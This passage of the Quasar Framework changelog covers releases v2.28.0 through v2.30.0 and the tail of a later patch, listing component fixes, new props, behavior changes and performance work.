([#&#8203;18542](https://github.com/quasarframework/quasar/issues/18542)) - fix(Ripple): the argument and the modifiers follow runtime changes -> `v-ripple` re-read its argument and modifiers only when the value reference changed and only for an object value, so three things were frozen at mount: `v-ripple:[color]` with no value never picked up a new color, a modifiers object that changed while the value did not was ignored (QBtn hits this on its own, so toggling its `round` prop left the ripple starting from the press point instead of the center, or the other way round), and setting the value back to `true` after an object kept that object's options. All three now re-derive ([#&#8203;18541](https://github.com/quasarframework/quasar/issues/18541)) - fix(utils/is): `deepEqual()` handles null-prototype objects -> comparing two objects created with `Object.create(null)` threw, because the `valueOf` fallback saw a missing method as an override of `Object.prototype`'s and called it. Both conversion fallbacks now require an actual callable on both sides, so null-prototype objects, and objects whose own `valueOf`/`toString` is not a function, compare by their keys. Two objects of the same constructor where only one carries such an override are compared key by key too, instead of through that one side's conversion ([#&#8203;18540](https://github.com/quasarframework/quasar/issues/18540)) - fix(QTree): let header slot content size its own icons -> the `header-<name>` slot defaults styled `.q-icon` and `.q-avatar` inside the node header at a specificity that tied with each component's own icon sizing and won on source order, so a QBtn placed in a header slot rendered a fixed 21px icon whatever its `size` prop said. The defaults are scoped through `:where()` and lose every tie, while still applying to plain slot icons ([#&#8203;16753](https://github.com/quasarframework/quasar/issues/16753)) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.30.0`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.30.0) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.29.0...quasar-v2.30.0) > \[!IMPORTANT] > Behavior changes worth checking before you upgrade: > > - **QInfiniteScroll no longer watches the scroll position; it watches the end of its content.** `offset` is now measured from the end of the content instead of the end of the scroll target (identical whenever the component is the last thing in its scroller), nothing loads once you scrolled past the component, `debounce` counts from the moment the end comes within the offset rather than from the last scroll event, the mount-time load lands one frame later instead of synchronously, and a `scroll-target` outside the component's ancestry no longer clips it. > - **`v-scroll-fire` fires as soon as any part of the element is visible**, where it used to wait for the element's bottom edge to enter the container (pass the new `:1` argument for the old timing; elements taller than the viewport never reach it). It also fires when the element becomes visible without a scroll, and the 25ms debounce is gone. > - **`v-intersection` dispatches every entry of a callback batch** (previously only the first per callback, which could swallow a fast in-then-out), no longer passes the observer as an undocumented second argument, and ignores entries queued by an element's former observer. > - **Every QFab animates its Fab Actions individually** rather than as a single block, cascading out of the trigger. > - **`extractDate()` returns an Invalid Date for a week mask that cannot resolve** (week 0, week 54, week 53 of a 52-week year, or no year at all) where it used to return a date in 1900; masks containing `dd` now match instead of never matching. > - **`v-touch-hold` ignores a press while another one is tracked**, so a two-finger hold fires the handler once instead of twice. > - **QTooltip's `cursor-position` and QMenu's `touch-position`/`context-menu` re-decide their placement from the intended side** after a resize or an `updatePosition()`, instead of building on the correction of the first paint, and a point-mode `offset` now carries the sign of the direction the popup grows. > - **A disabled QEditor dims its toolbars and content instead of its whole root**, so its border and background are no longer dimmed and its plain toolbar buttons now dim like its dropdowns already did. #### New - feat(ui): `useIntersection()` composable -> observe any element's visibility from `setup()` with a plain object, a ref or a getter (`target`, `root`, `rootMargin`, `threshold`, `once`, `disabled`, `onIntersect`), getting back a reactive `isIntersecting` and a `stop()`. The observer pool behind it is now shared by the composable, `v-intersection` and QIntersection (rebuilt on top of the composable), so a page mixing the three with the same options runs a single IntersectionObserver - feat(QPullToRefresh): `side` prop, pull from any edge of the content to refresh -> the pull can start from the `top` (the default, unchanged), `bottom`, `left` or `right` of the content, as an inward pan from that edge while the scroll target sits at it. `bottom` is the messenger case, `left`/`right` serve horizontally scrolling content ([#&#8203;7599](https://github.com/quasarframework/quasar/issues/7599)) - feat(QTooltip): `cursor-position` prop, position the tooltip at the pointer -> on a large trigger a tooltip placed against the anchor's box ends up far from what the user is pointing at, which is why the native `title` attribute opens at the cursor. The pointer becomes the anchor point (`anchor` no longer applies, `self` and `offset` keep working), after waiting for the pointer to settle so a tooltip opening mid-sweep can't freeze at a point already left behind; a touch or stylus press opens at the contact point without waiting, and a keyboard focus or a bare model toggle keeps the regular anchor-relative placement ([#&#8203;6019](https://github.com/quasarframework/quasar/issues/6019)) - feat(QTabs): let the tab strip scroll natively along its axis -> the strip was `overflow: hidden` on desktop, so the only way to reach offscreen tabs was the arrow icons and a horizontal trackpad swipe or a wheel tilt did nothing. It now scrolls on its own axis on every platform, the cross axis staying hidden, the scrollbar staying invisible and the arrows still tracking the position. Vertical wheel over horizontal tabs is deliberately not remapped, so a tab bar in a page never captures the page scroll ([#&#8203;7404](https://github.com/quasarframework/quasar/issues/7404)) - feat(QFab): animate Fab Actions individually via the new `stagger` prop -> each action fades and scales on its own, cascading outwards from the trigger when opening and back towards it when closing, which is the Material speed dial behavior. `stagger` sets the milliseconds between consecutive actions (default 40; 0 animates them all at once); the delays are derived in CSS with `sibling-index()`, so no number of actions is special-cased and browsers predating those functions simply animate the actions together ([#&#8203;6413](https://github.com/quasarframework/quasar/issues/6413)) - feat(QPagination): `ellipsis` slot to replace the "..." buttons -> the ellipsis buttons were hard-wired to jump to the first hidden page on their side and there was no slot to attach anything else. The slot replaces the button entirely and hands over `{ side, page, btnProps, onClick }` (plus `to` when `to-fn` is set); `btnProps` replicates the default button but carries neither the click handler nor the router target, so spreading it onto a QBtn hosting a QPopupEdit does not also trigger the jump. Without the slot the rendered output is unchanged ([#&#8203;11341](https://github.com/quasarframework/quasar/issues/11341)) - feat(QEditor): open toolbar dropdowns on hover -> the new `dropdown-hover`, `dropdown-hover-delay` and `dropdown-hover-hide-delay` props are forwarded to the QBtnDropdown of every toolbar dropdown. Click, tap and keyboard interactions keep toggling as before, and touch devices fall back to them - feat(date): `extractDate()` parses ISO week dates -> the week (`w`/`wo`/`ww`), ISO week year (`GG`/`GGGG`) and day of week (`d`/`do`/`E`/`ddd`/`dddd`) tokens were emitted by the parser but never mapped, so a `GGGG-[W]ww-E` mask resolved to Jan 1st 1900 instead of the day it described and twelve formatting tokens could not survive a `formatDate()` round trip. A mask carrying a week number now resolves as an ISO week date, an explicit calendar day still winning. See the note at the top ([#&#8203;7732](https://github.com/quasarframework/quasar/issues/7732)) - feat(ScrollFire): watch through the shared IntersectionObserver, new threshold argument -> the directive registered a debounced scroll listener per element on the scroll target and only ever checked at mount and on scroll, so an element that became visible through a layout change, a resize or an already scrolled container never fired. It now subscribes to the pooled observer shared with `v-intersection`, QIntersection and `useIntersection`, clipping through every scrollable ancestor up to the viewport, and takes the fraction of the element that must be visible as an argument (`v-scroll-fire:0.5`, default 0). See the note at the top - feat(TouchHold/TouchPan/TouchRepeat/TouchSwipe): the argument and every modifier follow runtime changes -> the four docs pages carried a "Note on HMR" since 2019 saying not all modifiers were reactive. Now every directive re-derives its listener options and settings whenever the modifiers object changes, swapping only the listeners whose options changed, re-parsing the argument when its string differs and always creating its context, so a directive that starts inert (no `.mouse` on a device without touch) can be armed later. The notes are gone from the four pages - feat(ui): the `scroll-target` prop accepts a Vue component reference, standing for its root element -> QInfiniteScroll, QScrollObserver, QVirtualScroll, QParallax, QPullToRefresh, QTree and QTable share the prop, and the resolver behind it has always unwrapped a component instance to its root element, but the prop type rejected it: in production it worked, in development Vue's prop validation refused it and building the warning threw ("Cannot convert object to primitive value"), aborting the update. A value without a root element now falls back to auto detection with a warning naming the cause - feat(ui/app-vite): the `quasar.config` spinner of Loading and Notify is typed by name -> `framework.config.loading.spinner` and `framework.config.notify.spinner` take a spinner's name (`'QSpinnerGears'`), which the CLI imports for you, but the typing dropped both keys altogether, so naming a spinner there was a type error. `quasar` now also exports the `QuasarSpinners` union of the spinner component names #### Fixes - fix(ui): intersection observing works in cross-origin iframes (Codepen and the like) -> Chromium and WebKit withhold `rootBounds` from a cross-origin iframe for every entry of the viewport root, and a 2020 guard read that null as the element having been caught out of the DOM by a Vue transition, re-observing forever. So inside Codepen, jsFiddle and StackBlitz previews no `v-intersection` or QIntersection handler ever ran, since 2020 (the docs advised the `root` prop as a workaround and Codepen was disabled on the examples). Firefox was unaffected. The guard is dropped, the docs' workaround paragraph with it, and the Intersection examples get their Codepen link back - fix(QMenu): close on a press whose compatibility mousedown got suppressed -> the outside-click handler listened for `mousedown` and `touchstart` only, so a page cancelling `pointerdown` (Cesium does it on every mouse press with a registered action) suppressed the compatibility `mousedown` and the popup stayed open, in every engine. QSelect's dropdown got stuck along with it. A mouse or pen `pointerdown` now arms a 0ms fallback that the `mousedown` of a normal press cancels in the same task, so every existing path is unchanged ([#&#8203;12575](https://github.com/quasarframework/quasar/issues/12575)) - fix(QMenu/QTooltip): a growing popup grows away from its anchor -> the JS fallback engine expressed every placement as a pixel `top`/`left`, so a popup with a bottom or right self origin kept its top edge frozen: content growing after the decision extended it over its own anchor until the next pass re-derived the position and it jumped. The engine now writes its inset from the edge the self origin anchors, like the native one - fix(QMenu/QTooltip): keep a flipped popup capped so growth can't escape the viewport, without losing the bound it already has -> a flipped popup is now capped at its side's space whether or not it fits there, and that cap is the smaller of the space and the popup's own computed max size, which resolves the `max-height`/`max-width` props, the stylesheet ceilings ($menu-max-height, ...) and any app CSS at once. Before the amendment a flip towards a roomier side could widen the popup past those bounds ([#&#8203;18536](https://github.com/quasarframework/quasar/issues/18536), [#&#8203;18537](https://github.com/quasarframework/quasar/issues/18537)) - fix(position-engine): correct point-mode self origins and offsets -> a popup positioned from a coordinate got two things wrong. An axis whose self origin is `center`/`middle` had no viewport correction at all, and now shifts back inside the viewport, frozen at decision time. The offset was applied with a fixed positive sign whatever the self origin, so a popup growing up or left opened onto the coordinate instead of clearing it; it now carries the sign of the direction the popup grows. Visible today for a QMenu opened at a coordinate. See the note at the top - fix(QEditor): honor `disable`/`readonly` in the toolbar, keep the fullscreen root opaque -> `getBtn()` overwrote the editor-wide disabled state with the per-button definition, so every plain toolbar button of a disabled or readonly editor stayed actionable (only the dropdowns behaved), which is how a disabled fullscreen editor's fullscreen button could be clicked. `readonly` keeps the read-only commands (fullscreen, print, viewsource), `disable` takes the whole toolbar out of play. The global `.disabled` rule also sat on the root, which in fullscreen is a viewport-sized fixed element, so the page composited straight through it. See the note at the top ([#&#8203;15486](https://github.com/quasarframework/quasar/issues/15486)) - fix(QKnob/QTabPanels/QStepper/QCarousel/QDrawer/QSplitter): don't remount the content when a gesture prop is toggled -> all of them baked a prop-derived condition into the vnode key, so flipping it destroyed and rebuilt the whole subtree: QKnob re-created its QCircularProgress and default slot on a `disable`/`readonly` toggle, QTabPanels/QStepper/QCarousel destroyed every panel (KeepAlive state included) on a `swipeable` toggle, QDrawer re-created its content on a `no-swipe-close` toggle and QSplitter its separator slot on `disable`. The directive now stays attached and is disarmed in place. QColor's spectrum, QSlider/QRange's track and QDrawer's backdrop got the same treatment internally ([#&#8203;12668](https://github.com/quasarframework/quasar/issues/12668), [#&#8203;18535](https://github.com/quasarframework/quasar/issues/18535)) - fix(TouchPan): deliver the final payload when the value is unset mid-pan -> the mouse variant defers the final handler call by 50ms and read the handler at call time, so a value that turned undefined during an active pan threw and the `isFinal` payload never arrived: QSplitter kept its `--active` class and dropped the `update:modelValue`, QPullToRefresh stayed in its pulling state, QDrawer's close pan lost its end on a breakpoint crossing - fix(v-intersection/v-mutation): disable in place on a non-function value -> `v-intersection` accepted Boolean `false` only and threw on `undefined`, and `v-mutation` tolerated a non-function value only by accident, keeping the observer connected and rebuilding it on every handler change (an inline arrow function on each render). Both now disarm cleanly, `v-mutation` dropping its observer and only swapping the callback target on a handler change ([#&#8203;18531](https://github.com/quasarframework/quasar/issues/18531)) - fix(QFabAction): restore the fallback state when used outside a QFab -> the `inject()` fallback factory was never flagged as one, so the function itself landed in `$fab` and a QFabAction rendered outside a QFab crashed instead of showing itself as an enabled, standalone button ([#&#8203;18538](https://github.com/quasarframework/quasar/issues/18538)) - fix(Morph): an object value no longer resets the directive modifiers it does not name -> the modifier pass also ran on the object form, so `v-morph.tween="{ name, group, model }"` lost the tween. The directive modifiers are the base now and the object overrides only the keys it defines - fix(Ripple): a keyboard ripple within 300ms of re-enabling is no longer swallowed -> the throttle window opened on any key press, even while the element was disabled; it now only advances when a ripple actually fires - fix(utils/is): `deepEqual()` compares binary data by content -> ArrayBuffers, DataViews and typed arrays were compared through the generic object path, and the typed-array branch was duck-typed on a `.buffer` property, so a plain `{ buffer: ArrayBuffer }` (and DataView) spun forever. Binary views are recognised through `ArrayBuffer.isView()`, which also covers views over a SharedArrayBuffer, and both sides' `byteLength` is compared before anything is allocated ([#&#8203;18539](https://github.com/quasarframework/quasar/issues/18539)) - fix(ui/api): a Vue reference in an event or method payload is a `ComponentInstance`, not a `Component` -> QFile, QForm, QPopupProxy, QScrollArea, QSelect, QTable, QTree, QUploader, QVirtualScroll and `useVirtualScroll` hand over mounted component instances that the generated typings declared with Vue's definition type. `Component` stays where a definition really is passed: the plugins' `spinner` options and Dialog's `component` #### Other - perf(ui): a sweep over the directives and the scroll-driven components -> `v-ripple`, `v-scroll`, `v-close-popup`, `v-intersection`, `v-morph` and the four touch directives now share module-level listeners instead of allocating a set of closures per element, `v-intersection` shares one IntersectionObserver per distinct config (per-scroll main-thread time on 3000 observed elements 4.1ms -> 2.5ms) and `v-scroll` one listener per target (2000 elements on window: mount 8.9ms -> 2.0ms, unmount 8.3ms -> 0.8ms, one scroll event 1.74ms -> 0.08ms). QInfiniteScroll and QPullToRefresh watch the content through the intersection pool rather than a scroll listener and render their indicator in a sub-component, so a load or a pull no longer re-renders the slot content, and QPullToRefresh arms TouchPan only while the pulled edge is on screen, keeping JS out of the touch path of every other scroll gesture. Every template ref in the ui package is a `shallowRef()` - refactor(QMenu/QTooltip): share the positioning lifecycle through a single internal composable -> the two components each carried their own copy of both positioning engines and the show-time glue, which had drifted apart. Two side effects on QTooltip: the scroll offset of content that fits is restored after a boundary pass like QMenu's, and the JS fallback re-tracks the anchor after a `useFullscreen()` relocation ([#&#8203;18513](https://github.com/quasarframework/quasar/issues/18513)) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.29.0`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.29.0) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.28.0...quasar-v2.29.0) > \[!IMPORTANT] > One behavior change worth checking before you upgrade: > > - **A `@click` listener on QItem or QChip now implies `clickable`.** The `clickable` prop became tri-state (default `null`): when you do not set it, the presence of a click listener decides. An explicit value still wins, so `:clickable="cond"` and `clickable="false"` are untouched. Markup that carried a previously dead click listener now gains the hover styling, focusability, the derived `button`/`menuitem` role and starts firing its handler. #### New - feat(QItem/QChip): a click listener implies clickable when the prop is not set -> both components only emitted `click` from the handler they bind while `clickable`, so a `@click` on an item or chip without that prop was dead code. See the note at the top ([#&#8203;16731](https://github.com/quasarframework/quasar/issues/16731)) - feat(Lang): `getClosestIsoName()` maps a locale to the nearest language pack -> language packs carry a region subtag only when a language ships more than one translation, so a browser locale like `es-MX` or `sr-Cyrl-RS` has no pack of its own and every app hand-maintained a locale-to-pack map. `Lang.getClosestIsoName(locale, isoNames)` (also on `$q.lang`) picks the closest of the packs your app ships: exact match, then the RFC 4647 lookup chain with the script outranking the region (`sr-Cyrl-RS` reads `sr-Cyrl`, `zh-Hant-TW` reads `zh-TW`), then the CLDR likely subtags (`zh` reads `zh-CN`, `pt` reads `pt-BR`, `de-AT` reads `de-DE` over `de-CH`). Malformed entries are skipped, so a `lang/*.js` glob's deprecated files do no harm, and `getLocale()` can be passed straight in. The docs' dynamic boot-file recipe now uses it ([#&#8203;12174](https://github.com/quasarframework/quasar/issues/12174)) #### Fixes - fix(QMenu/QTooltip): keep the natural width when flipped away from the far viewport edge -> since v2.28.0 a popup whose anchor sits near the right viewport edge collapsed to its min-content width (one or two words per line) while flipping to the roomier side, because both engines measured it with the intended placement's inset already live and then froze that squeezed width as the cap. Firefox and Safari were affected too, contrary to the report. A popup that fits its mirrored side is also no longer capped at its own rounded-down width, which used to wrap the last word after a flip ([#&#8203;18533](https://github.com/quasarframework/quasar/issues/18533)) - fix(QMenu/QTooltip): keep the popup's scroll position when the placement is re-checked -> the boundary pass lifts the popup's max-height/max-width to measure its natural size, which makes it briefly non-scrollable and lets the browser clamp its scroll offset to 0, with nothing putting it back. QSelect re-checks the placement on every re-render, so a flipped and capped options list jumped back to the top on pointer move. A v2.28.0 regression, on both engines ([#&#8203;18534](https://github.com/quasarframework/quasar/issues/18534)) - fix(QMenu/QTooltip): flip towards the side with more room, and keep the requested side on a tie -> the boundary pass compared the requested placement's anchor line against the viewport middle, so a popup taller than the available space could flip to the SMALLER side, and a trigger centered on the screen always flipped away from the requested placement. Each of the axis' two placements is now measured from its own anchor line; both axes and both engines are covered ([#&#8203;16443](https://github.com/quasarframework/quasar/issues/16443)) - fix(QField): keep the field focused while a menu or dialog opened from inside it is showing -> a QMenu or QDialog rendered inside a field's control (the QDate/QTime/QColor in a QPopupProxy pattern, an autocomplete menu, ...) blurred the active element on open, so the field dropped its focused state, emitted `blur` and ran lazy validation (an empty date input went red just for opening the picker). QMenu and QDialog dispatch bubbling `popup-show`/`popup-hide` DOM events again, the way Quasar v1 did, and QField holds its focused state, styling and lazy validation until the popup hides. Hover-shown menus and tooltips take no focus and stay silent ([#&#8203;9779](https://github.com/quasarframework/quasar/issues/9779)) - fix(QDialog): keep the dialog inside the visual viewport while the iOS soft keyboard is open -> iOS never shrinks the layout viewport a `position: fixed` dialog is attached to, and it reveals the focused field only for a user-initiated focus, so a field focused programmatically (autofocus or a `.focus()` call) opened the keyboard with a bottom-anchored dialog left entirely underneath it. QDialog now tracks the visual viewport while shown on iOS and insets its inner element to it. Verified on the iPhone 17 Pro simulator ([#&#8203;17594](https://github.com/quasarframework/quasar/issues/17594)) - fix(QDialog): size dialogs by the dynamic viewport instead of guessing the mobile toolbar height -> a flat 108px was subtracted from the card's max-height on iOS and web Android to keep it inside the toolbar-visible viewport, wasting 60px whenever the toolbar was already collapsed and always in native iOS apps, which have no toolbar at all. The card sizes itself by `100dvh` now and the platform override is gone - fix(QDialog): let top/bottom anchored dialogs reach the screen edge under safe-area padding -> in native mode the safe-area rule padded the dialog on both ends and beat the position modifier, so a bottom (or top) anchored dialog, QBottomSheet included, stopped one inset short of the edge with the backdrop showing through the gap; the same appeared in edge-to-edge Android apps. The inset moves onto the dialog's child, so its background runs under the home indicator while the content stays clear of it ([#&#8203;17977](https://github.com/quasarframework/quasar/issues/17977)) - fix(QTabs): keep the justify stretch when fractional tabs fill the container -> the tabs were summed through `offsetWidth`, which rounds each one up, so three justified tabs in a 440px container summed to 441, `scrollable` flipped on, the tabs collapsed to their natural width and nothing re-measured. It repeated at every third pixel of width, which is the on/off alternation of the report. Tabs are now measured with `getBoundingClientRect()` and an overflow of a pixel or less is never treated as scrollable ([#&#8203;18532](https://github.com/quasarframework/quasar/issues/18532)) - fix(QVirtualScroll): measure the items without rounding so fractional sizes don't shift the content -> a dense QTable row lays out at 28.5px but was measured through `offsetHeight` as 29, so the paddings standing in for the items outside the slice put the content half a pixel per item off on every re-slice and the rows visibly jittered while scrolling, worse the deeper into the list. Both directions measure through `getBoundingClientRect()` now ([#&#8203;15754](https://github.com/quasarframework/quasar/issues/15754)) - fix(QDrawer): measure a standard layout by the window width so the breakpoint ignores the page scrollbar -> QLayout's total width added the native scrollbar width unconditionally, which is right only while a page scrollbar is showing, so on Windows and Linux desktops the drawer switched to mobile mode at 1006px instead of 1023px and disagreed with `$q.screen` and the CSS breakpoints. A standard layout now reports `$q.screen.width`; containerized layouts are unchanged ([#&#8203;15506](https://github.com/quasarframework/quasar/issues/15506)) - fix(QDrawer): release the body scroll lock when a mobile-opened drawer turns desktop -> a drawer opened below the breakpoint and then pushed above it rendered as a standard desktop drawer while the page stayed locked ([#&#8203;16651](https://github.com/quasarframework/quasar/issues/16651)) - fix(QChip/QPullToRefresh/QIntersection): don't remount the content when `disable` is toggled -> all three baked `!disable` into the root vnode key, so flipping the prop destroyed and rebuilt the whole subtree instead of leaving the content as it was. Disabling now travels through the directive value. One related change: with QIntersection's `once`, an observer that has already fired is no longer re-armed by toggling `disable` off and on, which was a side effect of the remount and contradicted `once` ([#&#8203;12668](https://github.com/quasarframework/quasar/issues/12668), [#&#8203;18531](https://github.com/quasarframework/quasar/issues/18531)) - fix(ui): stop WebKit from scrolling the panel wrapper when a field is focused mid-transition -> an autofocused QInput inside an animated QStepper/QTabPanels/QCarousel panel made WebKit reveal the caret and scroll the panel wrapper, so both panels slid displaced and snapped back when the transform ended. The wrapper uses `overflow: clip`, which is not a scroll container; layout is unchanged ([#&#8203;17464](https://github.com/quasarframework/quasar/issues/17464)) - fix(ui): throw an actionable error when the SSR server build is installed without an `ssrContext` -> Node (and Vitest) resolve `quasar` through the `node` export condition to the SSR build, so a test setup that does not go through [@&#8203;quasar/vite-plugin](https://github.com/quasar/vite-plugin) installed it and crashed with "Cannot convert undefined or null to object". The error now explains what happened and how to fix it, and the Vite plugin docs gained a "Testing with Vitest" section ([#&#8203;15469](https://github.com/quasarframework/quasar/issues/15469)) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.28.0`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.28.0) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.27.0...quasar-v2.28.0) > \[!IMPORTANT] > Several behavior changes worth checking before you upgrade: > > - **QMenu and QTooltip lost the `scroll-target` prop.** Popups now hear every scrolling container, nested ones included, through a single capture-phase document listener, so no container needs to be designated (and the `scroll` helper class is no longer part of the contract). The prop was only ever an escape hatch for containers the auto-detection missed; remove it from your templates. > - **QMenu/QTooltip freeze their placement decision per show.** A popup no longer re-flips or pins itself on screen while you scroll: it stays glued to its anchor and scrolls off-screen together with it, like a natively anchor-positioned element. `updatePosition()` now means "re-run the placement decision"; a plain anchor move needs no call at all. > - **QTooltip tracks its anchor on container scroll instead of hiding.** > - **`fit`/`cover` minimum sizing follows the real anchor box** and is no longer inflated by the `offset` prop. > - **The `Platform.is` flags `ie`, `edgeChromium`, `winphone`, `kindle` and `silk` are gone** (the first two were never set on any browser Quasar supports, the rest were dead platforms). `is.edge` now plainly means Chromium Edge. > - **ESC dismissal and modal focus containment are no longer desktop-only.** A mobile device with a hardware keyboard (iPad with a Magic Keyboard, Android with a BT keyboard, DeX) now closes dialogs, menus, drawers and tooltips with ESC and keeps Tab inside a modal dialog. > - **Focus and hover feedback are keyed on input capability instead of the user agent.** Focus paint moved to `:focus-visible`, so a desktop mouse click no longer leaves a lingering halo, and hover paint moved under `@media (any-hover: hover)`, so hybrids gain hover feedback without phones gaining sticky hover. > - **Build targets moved up**: browsers to the live Baseline Widely Available minima (Chrome/Edge 121, Firefox 123, Safari/iOS 17.2) and Node to 22. #### Perf - perf(ui): zero idle cost for offscreen spinners -> spinners kept animating outside the viewport, burning main-thread style recalcs (a page of below-fold lazy QImg placeholders never went idle). Every spinner type now costs 0 recalcs and 0 layouts per second while offscreen, down from up to 173ms/s of style time, and visible spinners got 1.3-2x cheaper too. The SMIL paint animations were rewritten as CSS keyframes, preserving each spinner's timing, easing and phase relationships ([#&#8203;17151](https://github.com/quasarframework/quasar/issues/17151)) - perf(QCircularProgress): zero offscreen cost and a \~2x cheaper visible indeterminate mode -> 100 offscreen instances used to burn 84ms/s of style time; the onscreen cost drops from 42-66ms/s to 25ms/s per 100. QLinearProgress and QSkeleton were measured too and need nothing ([#&#8203;17151](https://github.com/quasarframework/quasar/issues/17151)) #### New - feat(QMenu/QTooltip): native CSS anchor positioning on Chromium -> the anchor element gets a refcounted anchor name and the popup expresses its placement through `position-anchor` / `anchor()` insets, so the browser keeps it glued through any scroll, layout shift, resize or animation with zero listeners. Every other engine keeps the JS positioning engine, whose behavior was aligned with the native one so a flip in Chromium and a flip in Safari are the same flip by construction. Menus now follow ANY scrolling container on both paths, ending the long-standing "the menu only follows a container carrying the `scroll` class" limitation (the [#&#8203;8343](https://github.com/quasarframework/quasar/issues/8343) family) - feat(QSelect): open the options on hover -> new `hover`, `hover-delay` and `hover-hide-delay` props, the same contract QMenu, QBtnDropdown and QFab settled on. A hover-shown open never steals focus and never pretends to be focused, so a pointer merely passing over the select emits no focus/blur and cannot trip lazy validation; `@filter` selects still load their options on hover. A real click or Tab upgrades the show to a regular focused open ([#&#8203;11675](https://github.com/quasarframework/quasar/issues/11675)) - feat(QSelect): close button for the options dialog -> `behavior="dialog"` finally has a visible dismiss affordance, a labeled button in the in-dialog control row where the dropdown arrow would sit, so the software keyboard can never cover it. Follows the `color` prop, styleable through `q-select__dialog-close`, opt out with the new `hide-dialog-close` prop ([#&#8203;6858](https://github.com/quasarframework/quasar/issues/6858)) - feat(QSelect): `no-chip-remove` prop -> with `use-chips`, drops the chips' remove icon and disarms the chip-armed Backspace removal, so a select that must always hold a value is possible with chips. `clearable`'s own affordances stay intact when explicitly enabled alongside it ([#&#8203;17937](https://github.com/quasarframework/quasar/issues/17937)) - feat(QSelect): `no-option-label` prop -> a plain no-options message without having to reach for the `no-option` slot ([#&#8203;9463](https://github.com/quasarframework/quasar/issues/9463)) - feat(QSelect): stable CSS class on the displayed value -> the selected-value span carries a dedicated `q-select__selected-value` class as an officially targetable hook, e.g. `white-space: pre-line` to render embedded newlines ([#&#8203;17973](https://github.com/quasarframework/quasar/issues/17973)) - feat(QInput): support the v-model `lazy` modifier -> Vue implements it only on native elements and leaves the deferral to components, which QInput ignored. The emission now stays pending until the change event or blur, matching the modifier's native semantics; an external model change cancels it ([#&#8203;18023](https://github.com/quasarframework/quasar/issues/18023)) - feat(Dialog plugin): report the dismissal reason to `onCancel`/`onDismiss` -> the callbacks receive `'cancel'`, `'backdrop'`, `'escape'` or `'programmatic'` (which includes an app route change), so the Cancel button can finally be told apart from a backdrop click, ESC or a `hide()` call. Custom components built on `useDialogPluginComponent` get it with no template changes. New exported TS type: `DialogDismissReason` ([#&#8203;17938](https://github.com/quasarframework/quasar/issues/17938)) - feat(BottomSheet plugin): report the dismissal reason to `onCancel`/`onDismiss` -> the same argument, `'backdrop'`, `'escape'` or `'programmatic'` - feat(QParallax): react to scrolling in any container -> a parallax nested inside a second scrolling container silently stopped updating, since it only listened to the one auto-detected container. It now hears every scrolling container. The `scroll-target` prop stays with its other, narrower meaning: the box the scroll percentage is computed against - feat(ui): build for the current Baseline Widely Available browsers and Node 22 -> browser targets move off Vite's hard-coded snapshot to the live Baseline minima (Chrome/Edge 121, Firefox 123, Safari/iOS 17.2), to be refreshed on release trains, and both the Node build target and the long-stale `engines` field (node >= 10!) move to Node 22 #### Fixes - fix(QDialog): clip the viewport instead of pinning the body -> the scroll lock no longer moves the page to scroll 0 while a dialog, menu or drawer is open on non-iOS platforms, so nothing jumps on open or after dismissal ([#&#8203;18527](https://github.com/quasarframework/quasar/issues/18527), [#&#8203;18183](https://github.com/quasarframework/quasar/issues/18183)) - fix(QDialog,QMenu,QTooltip): finish a pending transition on keep-alive deactivation -> a popup deactivated mid-transition inside a `<KeepAlive>` never received its transition-end, so it came back stuck half-faded ([#&#8203;18201](https://github.com/quasarframework/quasar/issues/18201), [#&#8203;18526](https://github.com/quasarframework/quasar/issues/18526)) - fix(QDrawer): keep the drawer content alive across breakpoint crossings -> the close-swipe directive was attached only below the breakpoint and its condition is baked into the vnode key, so every mobile/desktop transition re-created the whole drawer content, and a containerized QLayout mounted it twice on every page load ([#&#8203;17099](https://github.com/quasarframework/quasar/issues/17099)) - fix(QIntersection): don't remount the content right after SSR hydration -> with `once` + `ssr-prerender`, freshly hydrated content was destroyed and rebuilt on every page load ([#&#8203;17099](https://github.com/quasarframework/quasar/issues/17099)) - fix(QTable): key slot content that can shift or swap so it never cross-patches -> cells rendered through `body-cell-<name>` / `header-cell-<name>` slots were dropped unkeyed into the row, so changing `visible-columns` made Vue diff one column's compiled slot output against another's, producing hybrid cells (one column's label with another's href) and worse after repeated toggles. Production-only, which is why it survived dev testing. Same treatment for `top-row`/`bottom-row` and `top-selection` ([#&#8203;16047](https://github.com/quasarframework/quasar/issues/16047)) - fix(QTable): hover sort icon previews the descending-first sort order -> hovering an unsorted column configured with `sortOrder: 'da'` showed an up arrow even though the first click sorts descending ([#&#8203;18009](https://github.com/quasarframework/quasar/issues/18009)) - fix(QVirtualScroll): shield the table padding cells from user sticky-column CSS -> the sticky-column recipe's `td:first-child { position: sticky }` also matched the hidden spacer cells, and mutating a sticky cell during a scrollbar thumb drag made Chromium ratchet the scroller to the end ([#&#8203;17107](https://github.com/quasarframework/quasar/issues/17107)) - fix(useVirtualScroll): reposition with an instant `scrollTo()` -> a scroller with CSS `scroll-behavior: smooth` animated the internal repositioning ([#&#8203;18168](https://github.com/quasarframework/quasar/issues/18168)) - fix(QLayout): put `hide-scrollbar` on the root element -> since Chrome/Edge 121 honor `scrollbar-width`, and it only reaches the viewport scrollbar from the root element, the anti-flicker resize logic had quietly stopped working ([#&#8203;17122](https://github.com/quasarframework/quasar/issues/17122)) - fix(QImg): recheck an SVG's natural size after layout settles on WebKit -> Safari derives an SVG's `naturalWidth`/`naturalHeight` from the img's current laid-out box, so when the load event lost the race with layout the wrong ratio got locked in and `object-fit: 